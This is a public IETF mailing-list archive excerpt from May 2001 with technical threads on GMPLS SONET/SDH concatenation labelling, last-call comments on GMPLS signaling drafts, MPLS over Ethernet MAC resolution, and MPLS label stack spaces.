"Bernstein, Greg" wrote:
>=20
> We started out with the simple term "arbitrary concatenation" a while b=
ack
> to mean arbitrary in size and in timeslots used.  I'm not sure what was
> meant when we added the "contiguous" to this.  Was it:
> (1)     Treat this as one big signal within a single SONET Line (SDH MS=
),
> with potentially arbitrary timeslots used.
> (2)     Treat this as one big signal within a single SONET line (SDH MS=
),
> with the timeslot numbering lying within a single range, i.e.,  X throu=
gh Y,
> with X < Y.
>=20
> If (1) then we need a list of time slots. If (2) then only the beginnin=
g
> time slot is needed.  The problem with (2) is that it is a pretty usele=
ss
> feature, i.e., doesn't prevent the need for re-grooming and seemed like=
 a
> mistake from the rather long gestation period for this specification ra=
ther
> than something truly intended.
>=20
> Greg B.
>         Dr. Greg M. Bernstein, Senior Scientist, Ciena
>         New phone: (510) 573-2237
>=20
>                 -----Original Message-----
>                 From:   Mannie, Eric [mailto:Eric.Mannie@ebone.com]
>                 Sent:   Wednesday, May 16, 2001 12:44 PM
>                 To:     Bernstein, Greg; ccamp@ops.ietf.org; mpls@UU.NE=
T
>                 Subject:        RE: Small issue on
> draft-ietf-ccamp-gmpls-sdh-00.txt
>=20
>                 Dear All,
>=20
>                 Sorry I was confused, the original text of the draft is
> correct:
>=20
>                 With any kind of ***contiguous*** concatenation there i=
s one
> big signal, so
>                 one and only one label (pointer) is needed (otherwise i=
t is
> not a contiguous
>                 concatenation). With any kind of virtual concatenation,
> there are several
>                 VC's, so one label (pointer) per VC is needed. Even if =
all
> the VC's
>                 virtually concatenated are contiguous (by coincidence) =
we
> still need to
>                 identify each of them.
>=20
>                 Arbitrary and standard concatenations are orthogonal wi=
th
> contiguous and
>                 virtual concatenations.
>=20
>                 Arbitrary means anything that is not standard.
>=20
>                 We use a code to differentiate between standard and
> arbitrary contiguous
>                 concatenation to avoid that a downstream node returns a
> timeslot at a
>                 position not supported by the upstream node. The upstre=
am
> node indicates the
>                 number and types of signals to be concatenated and the
> downstream node
>                 cannot change it (it can just accept or refuse).
>=20
>                 We don't need a code to differentiate between standard
> versus arbitrary
>                 virtual concatenation because there is no restriction a=
nyway
> on the timeslot
>                 positions that can return the downstream node. Again, t=
he
> upstream node
>                 indicates the number and types of signals to be concate=
nated
> and the
>                 downstream node cannot change that (it can just accept =
or
> refuse). SDH 1996
>                 restricts the virtual concatenation to some well define=
d
> signals, while SDH
>                 2000 allows everything that make sense. But for the pre=
vious
> reasons we
>                 don't need to differentiate between the two (thing abou=
t the
> reason why you
>                 put a signaling element in a signaling message).
>=20
>                 Agreed ?
>=20
>                 Kind regards,
>=20
>                 Eric
>=20
>                 -----Original Message-----
>                 From: Bernstein, Greg [mailto:GregB@ciena.com]
>                 Sent: Wednesday, May 16, 2001 5:33 PM
>                 To: ccamp@ops.ietf.org; mpls@UU.NET
>                 Subject: Small issue on draft-ietf-ccamp-gmpls-sdh-00.t=
xt
>=20
>                 Hi in the draft draft-ietf-ccamp-gmpls-sdh-00.txt it sa=
ys:
>=20
>                    In case of any type of contiguous concatenation (e.g.
> standard or
>                    arbitrary concatenation), only one label appears in =
the
> Label
>                    field. That label is the lowest signal of the
> contiguously
>                    concatenated signal. By lowest signal we mean the on=
e
> having the
>                    lowest label when compared as integer values, i.e. t=
he
> first
>                    component signal of the concatenated signal encounte=
red
> when
>                    descending the tree.
>=20
>                    In case of virtual concatenation, the explicit order=
ed
> list of all
>                    labels in the concatenation is given. Each label
> indicates a
>                    component of the virtually concatenated signal.
>=20
>                 This does not reflect the intent of arbitrary concatena=
tion-
> arbitrary, size
>                 and placement of timeslots.  Otherwise the main benefit=
 of
> arbitrary
>                 concatenation, preventing re-grooming is lost.  Correct=
ed
> text could read:
>=20
>                     In the case of standard contiguous, only one label
> appears in the Label
>                    field. That label is the lowest signal of the standa=
rd
> contiguously
>                    concatenated signal. By lowest signal we mean the on=
e
> having the
>                    lowest label when compared as integer values, i.e. t=
he
> first
>                    component signal of the concatenated signal encounte=
red
> when
>                    descending the tree.
>=20
>                    In the cases of arbitrary or virtual concatenation, =
the
> explicit ordered
>                 list of all
>                    labels in the concatenation is given. Each label
> indicates a
>                    component of the arbitrary or virtually concatenated
> signal.
>=20
>                 Greg B.
>                         Dr. Greg M. Bernstein, Senior Scientist, Ciena
>                         New phone: (510) 573-2237
--------------A99028FA63B0C1DCE5A5AA37
Content-Type: text/x-vcard; charset=us-ascii;
 name="dimitri.papadimitriou.vcf"
Content-Description: Card for Dimitri Papadimitriou
Content-Disposition: attachment;
 filename="dimitri.papadimitriou.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Dimitri;Papadimitriou Dimitri
tel;home:+32 2 3434361
tel;work:+32 3 2408491
x-mozilla-html:FALSE
url:http://www.alcatel.com
org:Alcatel Bell;IPO NSG - Antwerpen 
version:2.1
email;internet:dimitri.papadimitriou@alcatel.be
title:Optical Networking R&S - Senior Engineer
adr;quoted-printable:;;Francis Wellesplein, 1=0D=0AB-2018 Antwerpen;;;;BELGIUM
fn:Papadimitriou Dimitri
end:vcard

--------------A99028FA63B0C1DCE5A5AA37--



From owner-mpls@UU.NET  Wed May 16 22:14:15 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA23555
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 22:14:14 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpim04680;
	Thu, 17 May 2001 02:13:44 GMT
Received: by mail-control.mail.uu.net 
	id QQkpim14902
	for mpls-outgoing; Thu, 17 May 2001 02:13:12 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpim14889
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 02:13:04 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpim21005
	for <mpls@UU.NET>; Thu, 17 May 2001 02:12:16 GMT
Received: from icarian.ZAFFIRE.COM by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: int.zaffire.com [63.121.21.2])
	id QQkpim08391
	for <mpls@UU.NET>; Thu, 17 May 2001 02:12:16 GMT
Received: by ICARIAN with Internet Mail Service (5.5.2653.19)
	id <LBZ5KK5F>; Wed, 16 May 2001 19:12:16 -0700
Message-ID: <4611AD058694D4118FD5009027B0A6622B8E0B@ICARIAN>
From: Fong Liaw <fliaw@zaffire.com>
To: "'George Swallow'" <swallow@cisco.com>, ccamp@ops.ietf.org, mpls@UU.NET
Subject: RE: GMPLS Last Calls - generalized-04/rsvp-te-03
Date: Wed, 16 May 2001 19:12:12 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi, 

Here are my comments/questions. I apologize if 
I overlook the text that might already explain 
my questions. A pointer will do in that case.  

Thanks.   -Fong

Regarding <draft-ietf-mpls-generalized-signaling-04.txt>

1. In section 3, it says that "generalized label does not
   contain a type filed, instead the nodes are expected
   to know from context what type of label to expect".
   This principle is applied to all other label object
   except LABEL_SET. Is there a particular reason to 
   include "label type" (section 3.5.1) in LABEL_SET object ?

2. Section 3.1.1, why does LSP Enc. Type includes "Packet",
   "Ethernet V2/DIX", and "Ethernet 802.3" ? Aren't they all
   packet and their label type can be derived from its link ?
   If not, don't we also need ATM, FrameRelay in the code point,
   in particular section 3.2.1.2 "Other Labels" talks about
   ATM, FrameRelay labels.

   I have doubt as to whether we really need LSP encoding type
   since that is a service discovery issue and should
   be known before signaling, in particular in the context
   of RSVP where upstream selects the link. Can some one 
   explain the benefit of having it, besides from verifying
   the consistency of the request and the link type ?

3. Section 3.1.2 bandwidth encoding. The text said that 
   these bandwidth encoding does not apply to SONET/SDH
   technology. I believe they also do not apply to ANSI/ETSI
   PDH technology, for the same reason we exclude SONET/SDH. 
   Isn't it more precise to say which technology the bandwidth 
   encoding applies to ?

4. Section 3.2.1.1 Port and Wavelength Labels. The description 
   of "Label" using the term "sender" and "receiver". In RSVP
   these two terms have special meaning (upstream and downstream),
   so I am not clear whether "sender" means the sender of the
   (RESV) message or the "sender" of the LSP. This is particular
   troublesome when it is referenced, such as "The information
   carried in a suggested label is identical to a generalized
   label". Suggest to use "upstream" or "downstream".
    
5. Section 3.3 Waveband Switching. How do we
   distinguish 3 wavelength labels from waveband labels ?
   Or is this always used in conjunction with "lambda LSP" ?

   The text also said waveband Identifier is "The value is
   selected by the sender and reused in all subsequent related
   messages." What are the subsequent related message that 
   would include waveband identifier but not the waveband label 
   object ?

   The same issue with using "sender" here. Suggest use
   upstream or downstream. 

6. Section 3.5.1 Required Information for Label Set.
   Can each SubChannel x be a list of labels, 
   e.g. for an STS-12 each of them can include 12 SKLM
   values ? So, if I have 24 time slot that can be used
   for an STS-12 connection, I have to specify all combination
   that are allowed, or can I just specify the 24 SKLM 
   values as subchannel 1 when requesting a STS-12 connection ?
   If so, why do I need more than one "subchannels" ?

<draft-ietf-mpls-generalized-rsvp-te-03.txt>

1. section 2.1.2. Does it mean one must accept both "control load"
   and "guarantee service" in flowspec ?

2. section 5.1. Procedure for Explicit Label Control.
   The text said that "the preceding subobject must be a strict object",
   isn't it enough to say that "the preceding object must uniquely
   identify a link ?"

>  -----Original Message-----
>  From: George Swallow [mailto:swallow@cisco.com]
>  Sent: Monday, May 14, 2001 10:52 AM
>  To: ccamp@ops.ietf.org; mpls@UU.NET
>  Subject: GMPLS Last Calls
>  
>  
>  This message initiates a last call on four GMPLS drafts.  The last
>  call is being issued jointly in the MPLS and CCAMP workgroups.
>  
>  The drafts are:
>  
>      1.  Generalized MPLS - Signaling Functional Description
>  
>             <draft-ietf-mpls-generalized-signaling-04.txt>
>  
>  
>      2.  Generalized MPLS Signaling - RSVP-TE Extensions
>  
>             <draft-ietf-mpls-generalized-rsvp-te-03.txt>
>  
>  
>      3.  Generalized MPLS Signaling - CR-LDP Extensions
>  
>             <draft-ietf-mpls-generalized-cr-ldp-03.txt>
>  
>  
>      4.  GMPLS Extensions for SONET and SDH Control
>  
>             <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
>  
>  
>  The last call closes May 29, 12 pm GMT.
>  
>  
>  -  V2KG (Vijay, Vijay, Kireeti, & George)
>  
>  
>  =============================================================
>  =========
>  George Swallow       Cisco Systems                   (978) 244-8143
>                       250 Apollo Drive
>                       Chelmsford, Ma 01824
>  
>  
>  


From owner-mpls@UU.NET  Thu May 17 00:52:19 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA26414
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 00:52:19 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpix00812;
	Thu, 17 May 2001 04:51:58 GMT
Received: by mail-control.mail.uu.net 
	id QQkpix05589
	for mpls-outgoing; Thu, 17 May 2001 04:51:26 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpix05490
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 04:51:08 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpix13559
	for <mpls@uu.net>; Thu, 17 May 2001 04:50:51 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQkpix14415
	for <mpls@uu.net>; Thu, 17 May 2001 04:50:49 GMT
Received: by BRAHMA01 with Internet Mail Service (5.5.2653.19)
	id <LA7MG9XR>; Thu, 17 May 2001 10:20:30 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D705C210@BRAHMA01>
From: Mohit Misra <MohitM@netbrahma.com>
To: "'Ian Bartley'" <ian.bartley@s3group.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: MPLS over Ethernet and SONET
Date: Thu, 17 May 2001 10:20:29 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
You need to have L2 information association with the NHLFE(s) in the ILM or
FTN. This is done during LSP Setup when you send label request to the FEC
Nexthop. You need to arp for next hop before sending it to the label request
. Once the Destination MAC 
address is known, it could be linked to next hop entries in NHLFEs and next
time it is directly picked up from there for all the
labeled/unlabeled packets. I guess you can keep this information with
outsegment Entry. I am not sure of SONET though.
							/Mohit


NetBrahma Technologies
www.netbrahma.com




> ----------
> From: 	Ian Bartley[SMTP:ian.bartley@s3group.com]
> Sent: 	Wednesday, May 16, 2001 12:44 PM
> To: 	mpls@UU.NET
> Subject: 	MPLS over Ethernet and SONET
> 
> Can anyone help,
> 
> I'm trying to find out about sending MPLS over an Ethernet
> or SONET network, I understand that a shim header should
> be used to pass the MPLS label. But I'm enquiring about the
> Layer2 information needed to send over the appropriate media.
> 
> I'm wondering how can the destination MAC address be
> determined, surely we want to avoid using the next hop IPv4
> address and resolving it to a dest mac. This would mean
> additional lookups.
> Does the destination MAC need to be established when the
> LSP is set up and should it be places in the OutSegmentEntry
> as described in draft-ietf-mpls-lsr-mib-07.
> Is there an etherent MIB anywhere that describes exactly what is
> necessary for the ethernet interfaces?
> 
> Also if anyone knows of any similar MIB for MPLS over SONET
> please let me know,
> 
> Thanks
> Ian
> 


From owner-mpls@UU.NET  Thu May 17 03:48:15 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA11796
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 03:48:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpjj06010;
	Thu, 17 May 2001 07:47:10 GMT
Received: by mail-control.mail.uu.net 
	id QQkpjj16266
	for mpls-outgoing; Thu, 17 May 2001 07:46:33 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpjj16218
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 07:46:21 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpjj06854
	for <mpls@UU.NET>; Thu, 17 May 2001 07:45:57 GMT
Received: from gorilla.mchh.siemens.de by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gorilla.mchh.siemens.de [194.138.158.18])
	id QQkpjj05133
	for <mpls@UU.NET>; Thu, 17 May 2001 07:45:57 GMT
Received: from moody.mchh.siemens.de (mail2.mchh.siemens.de [194.138.158.226])
	by gorilla.mchh.siemens.de (8.9.3/8.9.3) with ESMTP id JAA08529;
	Thu, 17 May 2001 09:45:39 +0200 (MET DST)
Received: from mchh273e.demchh201e.icn.siemens.de ([139.21.200.83])
	by moody.mchh.siemens.de (8.9.1/8.9.1) with ESMTP id JAA10283;
	Thu, 17 May 2001 09:45:34 +0200 (MET DST)
Received: by MCHH273E with Internet Mail Service (5.5.2653.19)
	id <JWJH6D72>; Thu, 17 May 2001 09:45:34 +0200
Message-ID: <AFC76835727DD211A7C20008C71EAF1E022916B6@MCHH230E>
From: Heiles Juergen <Juergen.Heiles@icn.siemens.de>
To: "'Michael Waldo'" <mwwaldo@flash.net>,
        "Bernstein, Greg"
	 <GregB@ciena.com>
Cc: "'Mannie, Eric'" <Eric.Mannie@ebone.com>, ccamp@ops.ietf.org, mpls@UU.NET
Subject: RE: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt
Date: Thu, 17 May 2001 09:45:32 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

It seems that we have some confusion concerning arbitary concatenation. That happens when we talk about something that is not standardized and proprietary. So next time we better get a detailed definiton of the proprietary solution before it is included in order to check if it fits the definitions.
Coming back to concatenation I see the following types:

Standard contiguous concatenation as defined in G.707 for VC-4 and in T1.105 for STS-1-SPE:
Uses X contiguous time slots within a STM/STS signal. x=4,16,64,256 for VC-4 and X=3,12,48,192, 768 for STS-1-SPE
The first time slot can only be at certain time slots.
The first time slot has a valid pointer , all other time slots have a concatenation indication. One set of path overhead is available for the whole signal.
-> we only need to identify the first time slot and the number of time slots (covered by GMPLS draft)

Virtual concatenation as defined in G.707 and T1.105 for every VC level:
Uses X time slots, which can be in any position and even distributed over everal STM/STS signals.
Every timeslot (individual signal) has its own pointer and path overhead and is treated indivdually at intermediate notes.
-> we need to identify all time slots (covered by GMPLS draft for a virtual cocnateantion that uses the same route for all individual signals)

Arbitary contiguous concatenation, not standardized extensiion of standard contiguous concatenation (that seems to be what is most peoples understanding of arbitary concatenation):
Same as standard contiguous concatenation, without the limits on X and the position of the first time slot
-> we only need to identify the first time slot and the number of time slots (covered by GMPLS draft)


Greg's arbitary concatenation (or non-contiguous contiguous concatenation); not standardized, proprietary solution (here I can only guess):
Uses X time slots which can be at any position within a STM/STS signal. The positons of the time slots have to be in ascending order. The first time slot has a valid pointer , all other time slots have a concatenation indication. One set of path overhead is available for the whole signal.
Some kind of in-band signaling (within the overhead) is required in order to identify the time slots that belong togehter if automatic adjustment of pointer processing to the signal type is needed
-> we need to identify every time slots
This signal type is not covered by the GMPLS draft. It is different from virtual concatenation as the signal processing (pointer, overhead) is different. As it is proprietary and not straight forward from the standard contiguous concatenation different implementations might exist that do not interwork and a identification for each implementation is required.

Juergen

> -----Original Message-----
> From:	Michael Waldo [SMTP:mwwaldo@flash.net]
> Sent:	Thursday, May 17, 2001 12:42 AM
> To:	Bernstein, Greg
> Cc:	'Mannie, Eric'; ccamp@ops.ietf.org; mpls@UU.NET
> Subject:	Re: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt
> 
> your (1) sounds more like virtual concatenation to me
> 
> (2) is what I have considered to be arbitrary concatenation. This could be
> useful when compared to standard contiguous concatenation because it could make
> more efficient use of the bandwidth within the SONET line (SDH MS) eg, using an
> STS-2c when only 100Mbs is needed. Standard contiguous concatenation payload
> values being 3c, 12c, 48c, 192c for SONET.
> 
> Considering virtual concatenation, arbitrary concatenation doesn't seem to have
> as much appeal (pretty useless).
> 
> Has the term "arbitrary concatenation" been defined anywhere? I've seen
> contiguous and virtual definitions, but I looked through the references in this
> draft, (as well as G.707 and T1.105) and I could not find the "arbitrary"
> definition.
> 
> 
> -Waldo
> 
> 
> "Bernstein, Greg" wrote:> 
> 
> > We started out with the simple term "arbitrary concatenation" a while back
> > to mean arbitrary in size and in timeslots used.  I'm not sure what was
> > meant when we added the "contiguous" to this.  Was it:
> > (1)     Treat this as one big signal within a single SONET Line (SDH MS),
> > with potentially arbitrary timeslots used.
> > (2)     Treat this as one big signal within a single SONET line (SDH MS),
> > with the timeslot numbering lying within a single range, i.e.,  X through Y,
> > with X < Y.
> >
> > If (1) then we need a list of time slots. If (2) then only the beginning
> > time slot is needed.  The problem with (2) is that it is a pretty useless
> > feature, i.e., doesn't prevent the need for re-grooming and seemed like a
> > mistake from the rather long gestation period for this specification rather
> > than something truly intended.
> >
> > Greg B.
> >         Dr. Greg M. Bernstein, Senior Scientist, Ciena
> >         New phone: (510) 573-2237
> >
> >                 -----Original Message-----
> >                 From:   Mannie, Eric [mailto:Eric.Mannie@ebone.com]
> >                 Sent:   Wednesday, May 16, 2001 12:44 PM
> >                 To:     Bernstein, Greg; ccamp@ops.ietf.org; mpls@UU.NET
> >                 Subject:        RE: Small issue on
> > draft-ietf-ccamp-gmpls-sdh-00.txt
> >
> >                 Dear All,
> >
> >                 Sorry I was confused, the original text of the draft is
> > correct:
> >
> >                 With any kind of ***contiguous*** concatenation there is one
> > big signal, so
> >                 one and only one label (pointer) is needed (otherwise it is
> > not a contiguous
> >                 concatenation). With any kind of virtual concatenation,
> > there are several
> >                 VC's, so one label (pointer) per VC is needed. Even if all
> > the VC's
> >                 virtually concatenated are contiguous (by coincidence) we
> > still need to
> >                 identify each of them.
> >
> >                 Arbitrary and standard concatenations are orthogonal with
> > contiguous and
> >                 virtual concatenations.
> >
> >                 Arbitrary means anything that is not standard.
> >
> >                 We use a code to differentiate between standard and
> > arbitrary contiguous
> >                 concatenation to avoid that a downstream node returns a
> > timeslot at a
> >                 position not supported by the upstream node. The upstream
> > node indicates the
> >                 number and types of signals to be concatenated and the
> > downstream node
> >                 cannot change it (it can just accept or refuse).
> >
> >                 We don't need a code to differentiate between standard
> > versus arbitrary
> >                 virtual concatenation because there is no restriction anyway
> > on the timeslot
> >                 positions that can return the downstream node. Again, the
> > upstream node
> >                 indicates the number and types of signals to be concatenated
> > and the
> >                 downstream node cannot change that (it can just accept or
> > refuse). SDH 1996
> >                 restricts the virtual concatenation to some well defined
> > signals, while SDH
> >                 2000 allows everything that make sense. But for the previous
> > reasons we
> >                 don't need to differentiate between the two (thing about the
> > reason why you
> >                 put a signaling element in a signaling message).
> >
> >                 Agreed ?
> >
> >                 Kind regards,
> >
> >                 Eric
> >
> >                 -----Original Message-----
> >                 From: Bernstein, Greg [mailto:GregB@ciena.com]
> >                 Sent: Wednesday, May 16, 2001 5:33 PM
> >                 To: ccamp@ops.ietf.org; mpls@UU.NET
> >                 Subject: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt> 
> >
> >                 Hi in the draf> t draft-ietf-ccamp-gmpls-sdh-00.txt it says:
> >
> >                    In case of any type of contiguous concatenation (e.g.
> > standard or
> >                    arbitrary concatenation), only one label appears in the
> > Label
> >                    field. That label is the lowest signal of the
> > contiguously
> >                    concatenated signal. By lowest signal we mean the one
> > having the
> >                    lowest label when compared as integer values, i.e. the
> > first
> >                    component signal of the concatenated signal encountered
> > when
> >                    descending the tree.
> >
> >                    In case of virtual concatenation, the explicit ordered
> > list of all
> >                    labels in the concatenation is given. Each label
> > indicates a
> >                    component of the virtually concatenated signal.
> >
> >                 This does not reflect the intent of arbitrary concatenation-
> > arbitrary, size
> >                 and placement of timeslots.  Otherwise the main benefit of
> > arbitrary
> >                 concatenation, preventing re-grooming is lost.  Corrected
> > text could read:
> >
> >                     In the case of standard contiguous, only one label
> > appears in the Label
> >                    field. That label is the lowest signal of the standard
> > contiguously
> >                    concatenated signal. By lowest signal we mean the one
> > having the
> >                    lowest label when compared as integer values, i.e. the
> > first
> >                    component signal of the concatenated signal encountered
> > when
> >                    descending the tree.
> >
> >                    In the cases of arbitrary or virtual concatenation, the
> > explicit ordered
> >                 list of all
> >                    labels in the concatenation is given. Each label
> > indicates a
> >                    component of the arbitrary or virtually concatenated
> > signal.
> >
> >                 Greg B.
> >                         Dr. Greg M. Bernstein, Senior Scientist, Ciena
> >                         New phone: (510) 573-2237


From owner-mpls@UU.NET  Thu May 17 04:06:03 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA11921
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 04:06:02 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpjk18901;
	Thu, 17 May 2001 08:05:39 GMT
Received: by mail-control.mail.uu.net 
	id QQkpjk05908
	for mpls-outgoing; Thu, 17 May 2001 08:05:07 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpjk05152
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 08:04:49 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpjk26905
	for <mpls@UU.NET>; Thu, 17 May 2001 08:04:39 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f75.law4.hotmail.com [216.33.149.75])
	id QQkpjk08463
	for <mpls@UU.NET>; Thu, 17 May 2001 08:04:39 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 17 May 2001 01:04:38 -0700
Received: from 192.35.17.233 by lw4fd.law4.hotmail.msn.com with HTTP;	Thu, 17 May 2001 08:04:38 GMT
X-Originating-IP: [192.35.17.233]
From: "Sherry Wei" <sherry_wei@hotmail.com>
To: suchauhan@hss.hns.com
Cc: mpls@UU.NET
Subject: Re: About the data space of the label stack.
Date: Thu, 17 May 2001 08:04:38 
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F75CEGJiCuOUfwFbq0k0000ffc8@hotmail.com>
X-OriginalArrivalTime: 17 May 2001 08:04:38.0682 (UTC) FILETIME=[050A7FA0:01C0DEA8]
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

Thank you. I totally agree.

Sherry

>From: suchauhan@hss.hns.com
>To: "Sherry Wei" <sherry_wei@hotmail.com>
>CC: ytr@123india.com, mpls@UU.NET
>Subject: Re: About the data space of the label stack.
>Date: Wed, 16 May 2001 12:50:19 +0530
>
>
>
>hi all!
>      I would like to state my understanding of the questions proposed by 
>Sherry!
>
>Q1 - Does each level of the label stack have the different label space, or 
>does
>each have its own label look up table?
>Ans - IMHO, the labels at different levels need to be in different label 
>spaces
>if you need to re-use labels at diffrent levels. If not, then you can 
>choose to
>use the same label space for labels at  different level. Because each label 
>in a
>label space is linked to an operation to be performed on that labeled 
>packet
>hence whether the operation is pop or swap can only be determined if the 
>labels
>are unique over the label stack levels.
>
>Q2 - Does every port have its own outgoing label look up table?
>Ans - MPLS suports per-platform based Label Space or per-interface label 
>space.
>This is in tune generally also with the kind of L2 encapsulation you are 
>using
>as ATM harware (switches) generally use per-interface based VCI/VPI tables.
>
>ciao
>sumit
>
>
>
>
>
>"Sherry Wei" <sherry_wei@hotmail.com> on 05/15/2001 06:31:38 PM
>
>To:   ytr@123india.com
>cc:   mpls@UU.NET (bcc: Sumit Chauhan/HSS)
>
>Subject:  Re: About the data space of the label stack.
>
>
>
>
>Hi YTR,
>
>Thank you for your quick reply. What I mean is that the reconstruct or
>reassembly should be done in the IP destination host instead of egress node
>of MPLS networks.
>
>About the ILM table, if it is per system based(each MPLS node has one ILM
>table), how to distinguish between two same label values which located in
>different level of the label stack? For example, one node looks up the up
>most label value and gets 5. Then it looks into the ILM table and knows 
>that
>it should pop up this label entry and looks into the next label entry. It 
>is
>possible that the next label entry also has the value 5. Maybe at this 
>time,
>the operation should be label swapping. But from the according ILM table,
>the node will pop up this label entry again.
>
>Thanks,
>
>Sherry
>
> >From: ytr@123india.com
> >To: sherry_wei@hotmail.com
> >CC: mpls@UU.NET
> >Subject: Re: About the data space of the label stack.
> >Date: 15 May 2001 05:33:23 -0700
> >
> >Hi sherry,
> >   Thanks for correction. What I mean the reconstruct is reassembly only
> >:-).
> >   Regading your label stack qn:
> >     Label space should be same for all the label which are going to POP 
>at
> >same LSR.  Regarding tables, usally    these are per system (I mean not
> >port wise). If label space is per platform then, there is no ambiguty in
> >identifying labels in tabels. If label space is per port, then u need one
> >more parameter to identify labels in tables, usally this parameter will 
>be
> >the label space. Remember there will be separate label space for each 
>port.
> >So when LSR receives MPLS Pkt it extracts label from TOP of the stack and
> >it gets label space with help of port number which it received the pkt.
> >With this LSR finds ILM entry. U can find NHLFE info from ILM.
> >If I am wrong pls let me know
> >
> >Thanks
> >YTR
> >
> >
> >
> >
> >On Tue, 15 May 2001, "Sherry Wei" wrote:
> >
> > >
> > > Hi all,
> > >
> > > I am a student now writing my master thesis on MPLS node structure. I
> >have a
> > > doubt about the label stack. Does each level of the label stack have 
>the
> > > different label space, or does each have its own label look up table?
> > >
> > > Also in the swapping of the label values, does every port have its own
> > > outgoing label look up table?
> > >
> > > To YTR:
> > > Only a small error. You mentioned that "At the egress IP module will
> > > reconstruct the IP packet when it gets from MPLS module."
> > > In RFC3032, it is described that "Reassembly of the fragments will be
> >done
> > > at the destination host."
> > >
> > > Thanks,
> > >
> > > Sherry
> > >
> > > Von: ytr@123india.com [mailto:ytr@123india.com]
> > > Gesendet am: Dienstag, 15. Mai 2001 10:55
> > > An: mgoel@hss.hns.com
> > > Cc: mpls@UU.NET
> > > Betreff: Re: Fragmentation and reassembly of MPLS packets
> > >
> > > Hi Mohit,
> > >     If my understanding is correct, its impossible to do fragmentation
> > > without
> > > IP header.  one has to remove (preserve for later use) MPLS label 
>stack
> >and
> > > check IP DF bit in IP header. If its set generate ICMP packets
> >otherwise,
> > > fragment IP packet keep the depth of the label stack in mind and
> >reconstruct
> > > the
> > > fragmented packets with MPLS label stack and forwards those based on 
>the
> >top
> > > label. At the egress IP module will reconsruct the IP packet when it
> >gets
> > > from
> > > MPLS module.
> > >
> > > If I am wrong pls correct me.
> > >
